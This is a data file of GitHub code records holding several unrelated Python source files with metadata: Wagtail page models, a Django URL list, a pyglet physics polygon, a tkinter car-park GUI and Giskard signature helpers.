models.ForeignKey(\n        \"wagtailimages.Image\",\n        null=True,\n        blank=True,\n        on_delete=models.SET_NULL,\n        related_name=\"+\",\n        help_text=\"The logo image to be displayed over the background image.\",\n    )\n\n    hero_description = RichTextField(\n        null=True,\n        blank=True,\n        help_text=\"Text to be displayed beneath the logo over the background image.\",\n    )\n\n    hero_button_text = models.CharField(\n        null=True,\n        blank=True,\n        max_length=255,\n        help_text=\"Text for the call-to-action button beneath the text and logo over \"\n        \"the background image.\",\n    )\n\n    hero_button_url = models.CharField(\n        null=True,\n        blank=True,\n        max_length=255,\n        help_text=\"URL for the call-to-action button beneath the text and logo over \"\n        \"the background image.\",\n    )\n\n    featured_description = RichTextField(\n        null=True,\n        blank=True,\n        help_text=\"Text to be displayed below the hero image next to the featured \"\n        \"items.\",\n    )\n\n    featured_grid_item_1 = models.ForeignKey(\n        GridItem,\n        null=True,\n        blank=True,\n        on_delete=models.SET_NULL,\n        related_name=\"+\",\n        help_text=\"First featured grid item underneath the hero image.\",\n        verbose_name=\"Featured Item One\",\n    )\n\n    featured_grid_item_2 = models.ForeignKey(\n        GridItem,\n        null=True,\n        blank=True,\n        on_delete=models.SET_NULL,\n        related_name=\"+\",\n        help_text=\"Second featured grid item underneath the hero image.\",\n        verbose_name=\"Featured Item Two,\",\n    )\n\n    @property\n    def grid_items(self):\n        grid_items = [n.grid_item for n in self.grid_index_grid_item_relationship.all()]\n        return grid_items\n\n    @property\n    def categories(self):\n        grid_item_categories = (\n            GridIndexGridItemRelationship.objects.values_list(\n                \"grid_item__categories__name\"\n            )\n            .filter(\n                grid_relationship__id=self.id,\n            )\n            .order_by(\n                \"grid_item__categories__name\",\n            )\n            .distinct()\n        )\n\n        categories = []\n\n        for gic in grid_item_categories:\n            if gic[0] is not None:\n                categories.append(gic[0])\n\n        return categories\n\n    HERO_PANELS = [\n        FieldPanel(\"hero_background_image\"),\n        FieldPanel(\"hero_logo_image\"),\n        FieldPanel(\"hero_description\"),\n        FieldPanel(\"hero_button_text\"),\n        FieldPanel(\"hero_button_url\"),\n        FieldPanel(\"featured_description\"),\n        FieldPanel(\"featured_grid_item_1\"),\n        FieldPanel(\"featured_grid_item_2\"),\n    ]\n\n    content_panels = Page.content_panels + [\n        MultiFieldPanel(\n            HERO_PANELS,\n            heading=\"Hero Section (Optional)\",\n            classname=\"collapsible collapsed\",\n        ),\n        InlinePanel(\n            \"grid_index_grid_item_relationship\",\n            label=\"grid_items\",\n            panels=None,\n            min_num=1,\n        ),\n    ]\n\n    search_fields = Page.search_fields + [\n        index.SearchField(\"hero_description\"),\n    ]\n\n    class Meta:\n        abstract = True\n\n    def __str__(self):\n        return \"{0}\".format(\n            self.grid_items,\n        )\n\n\nclass GridIndexPage(GridIndexPageAbstract, Page):\n    \"\"\"\n    Concrete implementation of GridIndexPageAbstract.\n    \"\"\"\n\n    class Meta:\n        verbose_name = \"Grid Index Page\"\n", "repo_name": "wharton/wagtailgridder", "sub_path": "wagtailgridder/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 8968, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 62, "dataset": "github-code", "pt": "71", "api": [{"api_name": "taggit.models.TaggedItemBase", "line_number": 18, "usage_type": "name"}, {"api_name": "modelcluster.fields.ParentalKey", "line_number": 23, "usage_type": "call"}, {"api_name": "django.db.models.CASCADE", "line_number": 26, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 26, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 30, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 30, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 36, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 36, "usage_type": "name"}, {"api_name": "wagtail.models.Page", "line_number": 45, "usage_type": "name"}, {"api_name": "settings.get_grid_item_parent_page_types", "line_number": 51, "usage_type": "call"}, {"api_name": "django.db.models.ForeignKey", "line_number": 56, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 56, "usage_type": "name"}, {"api_name": "django.db.models.SET_NULL", "line_number": 60, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 60, "usage_type": "name"}, {"api_name": "wagtail.fields.RichTextField", "line_number": 63, "usage_type": "call"}, {"api_name": "django.db.models.ForeignKey", "line_number": 68, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 68, "usage_type": "name"}, {"api_name": "django.db.models.SET_NULL", "line_number": 72, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 72, "usage_type": "name"}, {"api_name": "wagtail.fields.RichTextField", "line_number": 76, "usage_type": "call"}, {"api_name": "django.db.models.URLField", "line_number": 82, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 82, "usage_type": "name"}, {"api_name": "wagtail.fields.RichTextField", "line_number": 87, "usage_type": "call"}, {"api_name": "wagtail.fields.StreamField", "line_number": 93, "usage_type": "call"}, {"api_name": "blocks.ButtonBlock", "line_number": 93, "usage_type": "call"}, {"api_name": "modelcluster.tags.ClusterTaggableManager", "line_number": 94, "usage_type": "call"}, {"api_name": "modelcluster.fields.ParentalManyToManyField", "line_number": 95, "usage_type": "call"}, {"api_name": "django.db.models.DateTimeField", "line_number": 96, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 96, "usage_type": "name"}, {"api_name": "wagtail.models.Page.search_fields", "line_number": 98, "usage_type": "attribute"}, {"api_name": "wagtail.models.Page", "line_number": 98, "usage_type": "name"}, {"api_name": "wagtail.search.index.SearchField", "line_number": 99, "usage_type": "call"}, {"api_name": "wagtail.search.index", "line_number": 99, "usage_type": "name"}, {"api_name": "wagtail.search.index.SearchField", "line_number": 100, "usage_type": "call"}, {"api_name": "wagtail.search.index", "line_number": 100, "usage_type": "name"}, {"api_name": "wagtail.search.index.SearchField", "line_number": 101, "usage_type": "call"}, {"api_name": "wagtail.search.index", "line_number": 101, "usage_type": "name"}, {"api_name": "wagtail.admin.panels.FieldPanel", "line_number": 105, "usage_type": "call"}, {"api_name": "wagtail.admin.panels.FieldPanel", "line_number": 106, "usage_type": "call"}, {"api_name": "wagtail.admin.panels.FieldPanel", "line_number": 110, "usage_type": "call"}, {"api_name": "wagtail.admin.panels.FieldPanel", "line_number": 111, "usage_type": "call"}, {"api_name": "wagtail.admin.panels.FieldPanel", "line_number": 112, "usage_type": "call"}, {"api_name": "wagtail.admin.panels.FieldPanel", "line_number": 113, "usage_type": "call"}, {"api_name": "wagtail.admin.panels.FieldPanel", "line_number": 117, "usage_type": "call"}, {"api_name": "wagtail.admin.panels.FieldPanel", "line_number": 118, "usage_type": "call"}, {"api_name": "django.forms.CheckboxSelectMultiple", "line_number": 118, "usage_type": "name"}, {"api_name": "wagtail.models.Page.content_panels", "line_number": 121, "usage_type": "attribute"}, {"api_name": "wagtail.models.Page", "line_number": 121, "usage_type": "name"}, {"api_name": "wagtail.admin.panels.MultiFieldPanel", "line_number": 122, "usage_type": "call"}, {"api_name": "wagtail.admin.panels.MultiFieldPanel", "line_number": 127, "usage_type": "call"}, {"api_name": "wagtail.admin.panels.FieldPanel", "line_number": 132, "usage_type": "call"}, {"api_name": "wagtail.admin.panels.MultiFieldPanel", "line_number": 135, "usage_type": "call"}, {"api_name": "django.utils.timezone.now", "line_number": 143, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 143, "usage_type": "name"}, {"api_name": "wagtail.models.Orderable", "line_number": 147, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 147, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 147, "usage_type": "name"}, {"api_name": "modelcluster.fields.ParentalKey", "line_number": 153, "usage_type": "call"}, {"api_name": "django.db.models.CASCADE", "line_number": 156, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 156, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 158, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 158, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 163, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 163, "usage_type": "name"}, {"api_name": "wagtail.admin.panels.FieldPanel", "line_number": 165, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 168, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 168, "usage_type": "name"}, {"api_name": "settings.get_grid_index_page_subpage_types", "line_number": 177, "usage_type": "call"}, {"api_name": "django.db.models.ForeignKey", "line_number": 179, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 179, "usage_type": "name"}, {"api_name": "django.db.models.SET_NULL", "line_number": 183, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 183, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 189, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 189, "usage_type": "name"}, {"api_name": "django.db.models.SET_NULL", "line_number": 193, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 193, "usage_type": "name"}, {"api_name": "wagtail.fields.RichTextField", "line_number": 198, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 204, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 204, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 212, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 212, "usage_type": "name"}, {"api_name": "wagtail.fields.RichTextField", "line_number": 220, "usage_type": "call"}, {"api_name": "django.db.models.ForeignKey", "line_number": 227, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 227, "usage_type": "name"}, {"api_name": "django.db.models.SET_NULL", "line_number": 231, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 231, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 237, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 237, "usage_type": "name"}, {"api_name": "django.db.models.SET_NULL", "line_number": 241, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 241, "usage_type": "name"}, {"api_name": "wagtail.admin.panels.FieldPanel", "line_number": 276, "usage_type": "call"}, {"api_name": "wagtail.admin.panels.FieldPanel", "line_number": 277, "usage_type": "call"}, {"api_name": "wagtail.admin.panels.FieldPanel", "line_number": 278, "usage_type": "call"}, {"api_name": "wagtail.admin.panels.FieldPanel", "line_number": 279, "usage_type": "call"}, {"api_name": "wagtail.admin.panels.FieldPanel", "line_number": 280, "usage_type": "call"}, {"api_name": "wagtail.admin.panels.FieldPanel", "line_number": 281, "usage_type": "call"}, {"api_name": "wagtail.admin.panels.FieldPanel", "line_number": 282, "usage_type": "call"}, {"api_name": "wagtail.admin.panels.FieldPanel", "line_number": 283, "usage_type": "call"}, {"api_name": "wagtail.models.Page.content_panels", "line_number": 286, "usage_type": "attribute"}, {"api_name": "wagtail.models.Page", "line_number": 286, "usage_type": "name"}, {"api_name": "wagtail.admin.panels.MultiFieldPanel", "line_number": 287, "usage_type": "call"}, {"api_name": "wagtail.admin.panels.InlinePanel", "line_number": 292, "usage_type": "call"}, {"api_name": "wagtail.models.Page.search_fields", "line_number": 300, "usage_type": "attribute"}, {"api_name": "wagtail.models.Page", "line_number": 300, "usage_type": "name"}, {"api_name": "wagtail.search.index.SearchField", "line_number": 301, "usage_type": "call"}, {"api_name": "wagtail.search.index", "line_number": 301, "usage_type": "name"}, {"api_name": "wagtail.models.Page", "line_number": 313, "usage_type": "name"}]}
{"seq_id": "20567978525", "text": "from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n    url(r'^$', views.index, name='index'),\n    url(r'^update_db/', views.update_db, name='update database'),\n    url(r'^functions/', views.functions, name='functions'),\n    url(r'^hilg_attack/', views.hilg_attack, name='hilg attack')\n]", "repo_name": "bgould96/django_proj", "sub_path": "groupme/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 306, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.conf.urls.url", "line_number": 6, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 7, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}]}
{"seq_id": "17455831628", "text": "import numpy as np\nfrom pyglet import gl\nimport pyglet.graphics\nfrom earcut.earcut import earcut\nfrom pymunk import Poly\n\nfrom .geom import SPACE_SCALE\nfrom .physics import space\n\n\nclass RockPoly:\n    batch = pyglet.graphics.Batch()\n    TEX = pyglet.resource.texture('textures/rock.jpg')\n    group = pyglet.sprite.SpriteGroup(\n        TEX,\n        gl.GL_SRC_ALPHA,\n        gl.GL_ONE_MINUS_SRC_ALPHA,\n    )\n\n    FRICTION = 1.0\n    ELASTICITY = 0.6\n\n    def __init__(self, verts, color=(1, 1, 1), draw=True, friction=None):\n        self.indexes = earcut(verts)\n\n        if draw:\n            size = len(verts) // 2\n            self.dl = self.batch.add_indexed(\n                size,\n                gl.GL_TRIANGLES,\n                self.group,\n                self.indexes,\n                ('v2f/static', np.array(verts) / SPACE_SCALE),\n                ('t2f/static', np.array(verts) / (512 * SPACE_SCALE * 2)),\n                ('c3f/static', [c for _ in range(size) for c in color]),\n            )\n        else:\n            self.dl = None\n\n        self.shapes = []\n        verts = np.array(verts)\n        tris = verts.reshape(-1, 2)[self.indexes].reshape(-1, 3, 2)\n        for tri in tris:\n            shp = Poly(space.static_body, tri)\n            shp.friction = friction or self.FRICTION\n            shp.elasticity = self.ELASTICITY\n            space.add(shp)\n            self.shapes.append(shp)\n\n    def delete(self):\n        if self.dl:\n            self.dl.delete()\n        space.remove(*self.shapes)\n", "repo_name": "lordmauve/what-the-frog", "sub_path": "wtf/poly.py", "file_name": "poly.py", "file_ext": "py", "file_size_in_byte": 1503, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pyglet.graphics.Batch", "line_number": 12, "usage_type": "call"}, {"api_name": "pyglet.graphics", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pyglet.resource.texture", "line_number": 13, "usage_type": "call"}, {"api_name": "pyglet.resource", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pyglet.sprite.SpriteGroup", "line_number": 14, "usage_type": "call"}, {"api_name": "pyglet.sprite", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pyglet.gl.GL_SRC_ALPHA", "line_number": 16, "usage_type": "attribute"}, {"api_name": "pyglet.gl", "line_number": 16, "usage_type": "name"}, {"api_name": "pyglet.gl.GL_ONE_MINUS_SRC_ALPHA", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pyglet.gl", "line_number": 17, "usage_type": "name"}, {"api_name": "earcut.earcut.earcut", "line_number": 24, "usage_type": "call"}, {"api_name": "pyglet.gl.GL_TRIANGLES", "line_number": 30, "usage_type": "attribute"}, {"api_name": "pyglet.gl", "line_number": 30, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 33, "usage_type": "call"}, {"api_name": "geom.SPACE_SCALE", "line_number": 33, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 34, "usage_type": "call"}, {"api_name": "geom.SPACE_SCALE", "line_number": 34, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 41, "usage_type": "call"}, {"api_name": "pymunk.Poly", "line_number": 44, "usage_type": "call"}, {"api_name": "physics.space.static_body", "line_number": 44, "usage_type": "attribute"}, {"api_name": "physics.space", "line_number": 44, "usage_type": "name"}, {"api_name": "physics.space.add", "line_number": 47, "usage_type": "call"}, {"api_name": "physics.space", "line_number": 47, "usage_type": "name"}, {"api_name": "physics.space.remove", "line_number": 53, "usage_type": "call"}, {"api_name": "physics.space", "line_number": 53, "usage_type": "name"}]}
{"seq_id": "37297158646", "text": "# -----------------------------------------------------------\n#\n#\n#\n#\n#\n# -----------------------------------------------------------\n\nimport tkinter as tk\nfrom tkinter import *\nfrom tkinter import filedialog\n\nfrom PIL import Image, ImageTk\nfrom tkcalendar import DateEntry\n\nimport datebase_process\nimport fee\nimport numberplate\n\nprint(\"Welcome to the carpark\")\n\n# set up windows, label and buttons\nwindow = tk.Tk()\nwindow.geometry(\"900x506\")\n\nwindow_frame = Frame(window, height=900, width=506)\nwindow_frame.pack(anchor=N, expand=True)\n\nexit_frame = Frame(window)\nexit_frame.pack(anchor=SE)\n\nwindow_font = ('times', 18, 'bold')\nwindow_label = tk.Label(window_frame, text='Welcome to Car Park', fg=\"#C0C0C0\", pady=50, padx=30, font=window_font)\nwindow_label.grid(row=0, column=2)\n\n# This button will call the numberplate_recognition\nwindow_button_1 = tk.Button(window_frame, text='Enter Car Park', fg=\"#D3D3D3\", padx=40, command=lambda: upload_file())\nwindow_button_1.grid(row=2, column=1)\n\n# This button will call the timestamp\n\ncal = DateEntry(window_frame, locale='en_AU', selectmode='day')\ncal.grid(row=2, column=2, padx=20, pady=30)\n\n\ndef my_upd():  # triggered on Button Click\n    selected_date = str(cal.get_date())\n    l1.config(text=\"Selected Date is: \" + selected_date)  # read and display date\n    l2.config(text=datebase_process.export_report(selected_date))\n    print(selected_date)\n\n\nl1 = tk.Label(window_frame, text='Please Select Date', bg='yellow')\nl1.grid(row=4, column=2)\nl2 = tk.Label(window_frame, text='Result', bg='green')\nl2.grid(row=5, column=2)\nwindow_button_2 = tk.Button(window_frame, text='Report', fg=\"#D3D3D3\", padx=40,\n                            command=lambda: my_upd())  # using Button\nwindow_button_2.grid(row=3, column=2)\n\n\n# This button will call the timestamp\ndef exit_carpark():\n    # Set global variable to make it displayed\n    global displayed_exit_image\n    f_types = [('All files', '*')]\n    # f_types = [('PNG Files', '*.png')]\n\n    # selected_filename is the actual pic (PNG)\n    selected_filename = filedialog.askopenfilename(filetypes=f_types)\n\n    # Load the image\n    selected_image = Image.open(selected_filename)\n    # resize image\n    selected_image = selected_image.resize((300, 205), Image.Resampling.LANCZOS)\n    #\n    displayed_exit_image = ImageTk.PhotoImage(selected_image)\n    # Use button to display the image\n    window_button_6 = tk.Button(window_frame, image=displayed_exit_image)  # using Button\n    window_button_6.grid(row=3, column=3)\n    # Call numberplate_recognition and print the number plate\n    numberplate_number = numberplate.numberplate_recognition(selected_filename)\n    # numberplate_number = \"test3\"\n    display_timestamp, exit_datatime = datebase_process.save_datetime(numberplate_number, 0)\n    test_parking_fee = fee.fee_calculation(datebase_process.export_entry_datetime(numberplate_number), exit_datatime)\n    window_label_1 = tk.Label(window_frame,\n                              text=numberplate_number + \"\\n\" + display_timestamp + \"\\nParking Fee: $ \" + str(\n                                  test_parking_fee)\n                              , width=30, font=window_font)\n    window_label_1.grid(row=4, column=3)\n\n    # window_label_2 = tk.Label(window_frame, text=numberplate_timestamp,width=30,font=window_font)\n    # window_label_2.grid(row=5,column=1)\n    print(numberplate_number)\n    pass\n\n\nwindow_button_3 = tk.Button(window_frame, text='Exit Car Park', fg=\"#D3D3D3\", padx=40,\n                            command=lambda: exit_carpark())  # using Button\nwindow_button_3.grid(row=2, column=3)\n\n# Quit Program\nwindow_button_4 = tk.Button(exit_frame, text='Exit Program', fg=\"#D3D3D3\", command=window.quit)  # using Button\nwindow_button_4.grid(row=0, column=0)\n\n# Dark mode and styling\nwindow.configure(bg=\"#505050\")\nwindow_frame.configure(bg=\"#505050\")\nexit_frame.configure(bg=\"#505050\")\nwindow_button_1.configure(bg=\"#696969\")\nwindow_button_2.configure(bg=\"#696969\")\nwindow_button_3.configure(bg=\"#696969\")\nwindow_button_4.configure(bg=\"#696969\")\nwindow_label.configure(bg=\"#505050\")\n\n\ndef upload_file():\n    # Set global variable to make it displayed\n    global displayed_image\n    f_types = [('All files', '*')]\n    # f_types = [('PNG Files', '*.png')]\n\n    # selected_filename is the actual pic (PNG)\n    selected_filename = filedialog.askopenfilename(filetypes=f_types)\n\n    # Load the image\n    selected_image = Image.open(selected_filename)\n    # resize image\n    selected_image = selected_image.resize((300, 205), Image.Resampling.LANCZOS)\n    #\n    displayed_image = ImageTk.PhotoImage(selected_image)\n    # Use button to display the image\n    window_button_4 = tk.Button(window_frame, image=displayed_image)  # using Button\n    window_button_4.grid(row=3, column=1)\n    # Call numberplate_recognition and print the number plate\n    numberplate_number = numberplate.numberplate_recognition(selected_filename)\n    numberplate_timestamp = datebase_process.save_datetime(numberplate_number, 1)\n    window_label_1 = tk.Label(window_frame, text=numberplate_number + \"\\n\" + numberplate_timestamp, width=30,\n                              font=window_font)\n    window_label_1.grid(row=4, column=1)\n\n    # window_label_2 = tk.Label(window_frame, text=numberplate_timestamp,width=30,font=window_font)  \n    # window_label_2.grid(row=5,column=1)\n    print(numberplate_number)\n\n\n# Keep the window opens\nwindow.mainloop()\n\n# def save_numberplate(numberplate_number):\n# to be continued\n\n# save_numberplate(entry_numberplate)\n\n# if save_numberplate succeed,print something\n# else print something\n", "repo_name": "Pheggo/LPC", "sub_path": "GUI2.py", "file_name": "GUI2.py", "file_ext": "py", "file_size_in_byte": 5580, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "tkinter.Tk", "line_number": 23, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 33, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 37, "usage_type": "call"}, {"api_name": "tkcalendar.DateEntry", "line_number": 42, "usage_type": "call"}, {"api_name": "datebase_process.export_report", "line_number": 49, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 53, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 55, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 57, "usage_type": "call"}, {"api_name": "tkinter.filedialog.askopenfilename", "line_number": 70, "usage_type": "call"}, {"api_name": "tkinter.filedialog", "line_number": 70, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 73, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 73, "usage_type": "name"}, {"api_name": "PIL.Image.Resampling", "line_number": 75, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 75, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 77, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 77, "usage_type": "name"}, {"api_name": "tkinter.Button", "line_number": 79, "usage_type": "call"}, {"api_name": "numberplate.numberplate_recognition", "line_number": 82, "usage_type": "call"}, {"api_name": "datebase_process.save_datetime", "line_number": 84, "usage_type": "call"}, {"api_name": "fee.fee_calculation", "line_number": 85, "usage_type": "call"}, {"api_name": "datebase_process.export_entry_datetime", "line_number": 85, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 86, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 98, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 103, "usage_type": "call"}, {"api_name": "tkinter.filedialog.askopenfilename", "line_number": 124, "usage_type": "call"}, {"api_name": "tkinter.filedialog", "line_number": 124, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 127, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 127, "usage_type": "name"}, {"api_name": "PIL.Image.Resampling", "line_number": 129, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 129, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 131, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 131, "usage_type": "name"}, {"api_name": "tkinter.Button", "line_number": 133, "usage_type": "call"}, {"api_name": "numberplate.numberplate_recognition", "line_number": 136, "usage_type": "call"}, {"api_name": "datebase_process.save_datetime", "line_number": 137, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 138, "usage_type": "call"}]}
{"seq_id": "22179339639", "text": "#!/usr/bin/env python3.6\n# -*- coding: utf-8 -*-\n\nimport hashlib\nimport os\n\nimport requests\n\nfrom . import cli\nfrom .configurator import configurator\n\nargs = cli.args()\ncfg = configurator(args.cfg_path)\n\n\n\ndef show_logo(name):\n    print('\\033c')\n    print('    _/      _/  _/_/_/_/  _/          _/_/          _/\\n'+\n          '     _/  _/    _/        _/        _/    _/        _/\\n'+\n          '      _/      _/_/_/    _/        _/_/_/_/        _/\\n'+\n          '   _/  _/    _/        _/        _/    _/  _/    _/\\n'+\n          '_/      _/  _/_/_/_/  _/_/_/_/  _/    _/    _/_/\\n'+\n          name)\n\n\n\ndef log(author, ltype, text):\n    try:\n        requests.get(cfg['LOGGER']['host']+'/?a='+author+'&t='+ltype+'&l='+text)\n    except Exception as e:\n        if cfg['LOGGER'].getboolean('lazy'):\n            pass\n        else:\n            print('\\033[91;7mtryed send log message. Exception: '+str(e)+'\\033[0m')\n\ndef sha3(text):\n    s = hashlib.sha3_512()\n    s.update(text.decode('utf-8'))\n    return s.hexdigest()\n\ndef backupDB(master_key):\n    '''\n    !!!IMPORTANT!!!\n    такой способ не является особо безопасным\n    '''", "repo_name": "szee/birch", "sub_path": "birch/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 1158, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "configurator.configurator", "line_number": 13, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 30, "usage_type": "call"}, {"api_name": "hashlib.sha3_512", "line_number": 38, "usage_type": "call"}]}
{"seq_id": "21136310965", "text": "import inspect\nfrom typing import Optional, Union, Callable\n\n\ndef make_all_optional_or_suite_input(fn: Callable):\n    from inspect import signature, Parameter\n    from giskard.core.suite import SuiteInput\n\n    sig = signature(fn)\n    sig = sig.replace(\n        parameters=[\n            Parameter(\n                name=par.name,\n                kind=par.kind,\n                default=None if par.default == inspect.Signature.empty else par.default,\n                annotation=Optional[Union[SuiteInput, par.annotation]],\n            )\n            for par in sig.parameters.values()\n        ]\n    )\n    fn.__signature__ = sig\n\n    fn.__annotations__ = {k: Optional[Union[SuiteInput, v]] for k, v in fn.__annotations__.items()}\n\n\ndef set_return_type(fn: Callable, return_type: type):\n    from inspect import signature\n\n    sig = signature(fn)\n    sig = sig.replace(return_annotation=return_type)\n    fn.__signature__ = sig\n\n    annotations = fn.__annotations__.copy()\n    annotations[\"return\"] = return_type\n    fn.__annotations__ = annotations\n\n\ndef validate_arg_type(fn: Callable, pos: int, arg_type: type):\n    from inspect import signature\n\n    sig = signature(fn)\n    if len(sig.parameters) <= pos:\n        raise TypeError(f\"Required arg {pos} of {fn.__name__} to be {arg_type}, but none was defined\")\n    elif list(sig.parameters.values())[0].annotation not in [inspect._empty, arg_type]:\n        raise TypeError(\n            f\"Required arg {pos} of {fn.__name__} to be {arg_type}, but {list(sig.parameters.values())[0].annotation} was defined\"\n        )\n\n\ndef drop_arg(fn: Callable, pos: int):\n    from inspect import signature\n\n    sig = signature(fn)\n    if len(sig.parameters) <= pos:\n        return\n\n    sig = sig.replace(parameters=[par for idx, par in enumerate(sig.parameters.values()) if idx != pos])\n    fn.__signature__ = sig\n\n    fn.__annotations__ = {k: v for k, v in fn.__annotations__.items() if k in sig.parameters or k == \"return\"}\n\n\ndef insert_arg(fn: Callable, pos: int, param: inspect.Parameter):\n    from inspect import signature\n\n    sig = signature(fn)\n    parameters = [par for par in sig.parameters.values()]\n    parameters.insert(pos, param)\n\n    sig = sig.replace(parameters=parameters)\n    fn.__signature__ = sig\n\n    fn.__annotations__ = {k: v for k, v in fn.__annotations__.items() if k in sig.parameters or k == \"return\"}\n", "repo_name": "Giskard-AI/giskard", "sub_path": "giskard/ml_worker/testing/registry/decorators_utils.py", "file_name": "decorators_utils.py", "file_ext": "py", "file_size_in_byte": 2356, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2258, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.Callable", "line_number": 5, "usage_type": "name"}, {"api_name": "inspect.signature", "line_number": 9, "usage_type": "call"}, {"api_name": "inspect.Parameter", "line_number": 12, "usage_type": "call"}, {"api_name": "inspect.Signature", "line_number": 15, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 16, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 16, "usage_type": "name"}, {"api_name": "giskard.core.suite.SuiteInput", "line_number": 16, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 23, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 23, "usage_type": "name"}, {"api_name": "giskard.core.suite.SuiteInput", "line_number": 23, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 26, "usage_type": "name"}, {"api_name": "inspect.signature", "line_number": 29, "usage_type": "call"}, {"api_name": "typing.Callable", "line_number": 38, "usage_type": "name"}, {"api_name": "inspect.signature", "line_number": 41, "usage_type": "call"}, {"api_name": "inspect._empty", "line_number": 44, "usage_type": "attribute"}, {"api_name": "typing.Callable", "line_number": 50, "usage_type": "name"}, {"api_name": "inspect.signature", "line_number": 53, "usage_type": "call"}, {"api_name": "typing.Callable", "line_number": 63, "usage_type": "name"}, {"api_name": "inspect.Parameter", "line_number": 63, "usage_type": "attribute"}, {"api_name": "inspect.signature", "line_number": 66, "usage_type": "call"}]}
